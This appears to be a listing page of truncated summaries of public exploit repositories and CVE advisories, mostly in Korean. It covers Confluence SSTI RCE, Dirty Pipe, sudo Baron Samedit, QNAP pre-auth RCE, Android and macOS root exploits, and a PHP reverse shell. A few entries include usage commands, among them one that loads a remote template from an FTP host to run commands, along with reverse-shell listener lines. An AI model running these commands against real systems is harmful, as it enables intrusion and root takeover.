CVE-2019-3396_EXP

CVE-2019-3396EXP CVE-2019-3396 컨플루언스 SSTI RCE 1、cmd.vm 파일을 웹사이트에 업로드하세요 ftp 또는 https를 사용해야 하며, http는 작동하지 않습니다 2、RCEexp.py를 수정하고，filename = 'ftp://1.1.1.1/cmd.vm' 로 변경하세요 （python -m pyftpdlib -p 21） 3、python RECexp.py http://test.wikitest.cc:8080 "whoami" $ python RECexp.py...

CVE-2026-76266 Local Privilege Escalation through Linux Package Upgrades in Splunk Enterprise

In Splunk Enterprise versions below 10.4.3, 10.2.7, 10.0.10, and 9.4.15 on Linux, a local user who can run commands as the user account running Splunk Enterprise could cause an affected Linux package upgrade to run attacker-controlled operating-system commands with root privileges. The...

EUVD-2026-94618

In Splunk Enterprise versions below 10.4.3, 10.2.7, 10.0.10, and 9.4.15 on Linux, a local user who can run commands as the user account running Splunk Enterprise could cause an affected Linux package upgrade to run attacker-controlled operating-system commands with root privileges. The...

EUVD-2026-91674

Next.js has cache poisoning in SSG/ISR rendering that leads to cross-user content substitution and persistent denial of service...

opentsdb_key_cmd_injection

opentsdbkeycmdinjection Fortran으로 작성된 OpenTSDB = 2.4.1 cmd injection CVE-2023-36812/CVE-2023-25826 익스플로잇 About 이것은 OpenTSDB 2.4.1 이하 버전CVE-2023-36812/CVE-2023-25826의 명령 삽입 취약점을 위한 익스플로잇입니다. 이 익스플로잇은 현대적인 Fortran으로 작성되었으며, 올해 초에 만들어진 공식 Fortran http-client 라이브러리를 활용합니다. Vulnerability details...

Auto-Root-Exploit

Auto-Root-Exploit Auto Root Exploit Tool 자동 루트 익스플로잇 도구 저자 : Nilotpal Biswas 페이스북 : https://www.facebook.com/nilotpal.biswas.73 트위터 : https://twitter.com/nilotpalhacker 사용법 : 커널 버전 2.6 전체 bash autoroot.sh 2 커널 버전 3 전체 bash autoroot.sh 3 커널 버전 4 전체 bash autoroot.sh 4 freebsd 및 openbsd 전체 bash...

CVE-2024-34313

CVE-2024-34313 설명 VPL Jail System v4.0.2까지 에서 경로 탐색Path Traversal 취약점이 발견되어 임의 파일 덮어쓰기 및 이를 통한 루트 사용자로의 권한 상승이 가능합니다. 이 취약점은 CVE-2024-34312와 연계하여 사전 인증 없이 원격으로 Moodle 인스턴스를 장악하는 데 사용될 수 있습니다. 추가 세부 사항 jail 서버는 신뢰할 수 없는 코드를 샌드박스 환경에서 권한 없는 사용자로 실행하는 C++ 서버입니다. 서버는 지정된 포트에서 들어오는 연결을 수신하고 각 연결마다 새...

CVE-2019-13272

CVE-2019-13272 리눅스 로컬 루트 익스플로잇 Linux 4.10 5.1.17 PTRACETRACEME 로컬 루트 CVE-2019-13272 In the Linux kernel before 5.1.17, ptracelink in kernel/ptrace.c mishandles the recording of the credentials of a process that wants to create a ptrace relationship, which allows local users to obtain root access ...

CVE-2024-36842-Backdooring-Oncord-Android-Sterio-

CVE-2024-36842 Backdooring-Oncord+ Android-Sterio 우리는 가장 많이 판매되는 애프터마켓 자동차 인포테인먼트 장치 중 하나에 대한 취약성 평가를 수행했습니다. 악성 스크립트를 사용하여 Oncord+ Android/iOS 자동차 인포테인먼트 장치에 영구 백도어 생성! 장치 정보: Android 버전 : 12 커널 버전 : 4.9.170 모델 : TS17/Powered by Allwinner 일련번호 : 0x03125dBa Oncord+의 Android 스테레오 장치는 최첨단 기술 기반의 뛰어...

CVE-2019-8781-macOS

CVE-2019-8781 보안 권고 CVE-2019-8781 POC 세부사항 POC는 프로세스를 루트로 승격시키고 셸을 실행합니다. 익스플로잇 환경 - macOS 10.14.6 18G95 10.15.0 이전에 출시된 모든 macOS 버전에서 작동해야 함 - SMEP: On - SMAP: Off - 커널 ASLR 슬라이드가 argv1로 전달됨 빌드 컴파일하려면 Xcode 9.4.1 명령줄 도구가 필요합니다. Makefile을 확인하세요. 분석글 제 블로그를 확인하세요. 여기가 링크입니다. 감사 인사 0day를 위해 Apple에게...

CVE-2019-7192_QNAP_Exploit

QNAP 사전 인증 루트 RCECVE-2019-7192 CVE-2019-7195 익스플로잇 현재는 시스템 파일/etc/shadow, ssh 개인 키 등을 읽을 수 있습니다. 사용법: pip install -r requirements.txt or just pip install requests python3 gundy.py https://vulnerableurl:port 샘플 출력 취약점 이 취약점들은 사전 인증 루트 RCE로 연결될 수 있습니다. 자세한 내용은 다음 링크를 참조하십시오: CyCraft Write-Up QNAP의 ...

salt-rce-scanner-CVE-2020-11651-CVE-2020-11652

무엇인가요? SaltStack 취약점 CVE-2020-11651 및 CVE-2020-11652를 테스트하기 위한 스캐닝 도구입니다. 이 취약점은 "요청 서버" 포트에 연결할 수 있는 공격자가 모든 인증 및 권한 부여 제어를 우회하고 임의의 제어 메시지를 게시하며, "마스터" 서버 파일 시스템의 어느 곳에서든 파일을 읽고 쓸 수 있게 하고, 마스터에 루트로 인증하는 데 사용되는 비밀 키를 훔칠 수 있도록 합니다. 그 영향은 마스터와 마스터에 연결된 모든 미니언에서 루트 권한으로 완전한 원격 명령 실행이 가능합니다. 설치 방법 이...

dirtyPipe-automaticRoot

Dirty Pipe 자동 루트 익스플로잇 CVE-2022-0847 의존성: Python 3.10 이상 사용 방법: 자동 루트: $ python3.10 dirtyPipe.py -a + hjacking super user in /etc/passwd + dropipng shell 쓰기 권한이 없거나, immutable불변 또는 읽기 전용으로 마운트된 파일에 쓰기: $ python3.10 dirtyPipe.py -w FILE OFFSET DATA @terabitSec 🦜님의 제공...

flow_divert-heap-overflow

flowdivert-heap-overflow flowdivert-heap-overflow는 CVE-2016-1827에 대한 개념 증명 익스플로잇으로, OS X El Capitan 10.11.5 및 iOS 9.3.2에서 패치되었습니다. 이 취약점은 flowdiverthandleappmapcreate 함수에서 사용자 공간으로부터 제공된 신뢰할 수 없는 길이 값에 대해 검사되지 않은 일련의 산술 연산이 수행되는 문제입니다. 익스플로잇에는 루트 권한이 필요합니다. 이 개념 증명은 OS X Yosemite 10.10.5에서 커널 패닉을...

root-exploit-pixel3

Pixel 3 제품군용 루트 익스플로잇 이 폴더에는 CVE-2020-0041용 bluefrostsecurity PoC를 수정한 로컬 권한 상승 익스플로잇이 포함되어 있습니다. 이 익스플로잇은 SELinux를 비활성화한 다음 루트 셸을 실행합니다. 이 익스플로잇은 2020년 2월 펌웨어QQ1A.200205.002를 실행하는 Pixel 3 기기에 대한 하드코딩된 오프셋과 함께 제공됩니다. 아래 단계를 따르기만 하면 모든 Pixel 3 기기에 맞게 익스플로잇을 조정할 수 있습니다. 루트 사용자 제한을 피하기 위해 일부 변경 사항이...

CVE-2026-46570

A flaw was found in ntfs-3g. This vulnerability allows a local attacker to achieve privilege escalation or cause a Denial of Service DoS through memory corruption. By mounting or processing a specially crafted NTFS filesystem image containing manipulated file metadata, the flaw triggers a...

YAPS

YAPS - Y et A nother P HP S hell 네, 이름에서 알 수 있듯이 이것은 또 다른 PHP 리버스 셸입니다. 수백 개 중 하나이지만 몇 가지 장점이 있습니다. 단일 PHP 파일로 모든 기능을 포함하고 있으며, 간단한 TCP 리스너예: nc -lp 1337로 제어할 수 있습니다. 현재 버전1.5에서 주요 기능은 리눅스 시스템만 지원하지만, 윈도우에서도 작동하도록 만들 계획입니다. 현재 첫 번째 버전이며 아직 많이 테스트하지 않았고, 다음 버전을 위해 계획하고 개선할 사항이 많이 남아 있습니다 아직 완료되지...

web-traffic-generator

web-traffic-generator A quick and dirty HTTP/S "organic" traffic generator. About Just a simple poorly written Python script that aimlessly "browses" the internet by starting at pre-defined ROOTURLS and randomly "clicking" links on pages until the pre-defined MAXDEPTH is met. I created this as a...

CVE-2016-2067

ADRENO GPU IOMMU DMA 익스플로잇 테스트 환경: Nexus 6p google/angler/angler:6.0.1/MMB29M/2431559:user/release-keys 버그 정보 2016년 Blackhat EU에서 논의됨 익스플로잇 정보 iommu dma 쓰기를 사용하여 vdso.so를 셸코드로 덮어씁니다. 따라서 /init이 kernelclockgettime을 실행한 후 셸코드가 실행됩니다. /init 프로세스는 이후 루트 셸로 연결됩니다. 로그 Reverse shell target: 127.0.0.1:49...

CVE-2021-3156

Baron Samedit - Sudo CVE 2021-3156 PoC BASHおよびCで記述されています。 作成者: TheFlash2k/Ali Taqi Wajid 使用方法: This would spawn a root shell directly if the sudo is vulnerable. $ make $ ./exploit...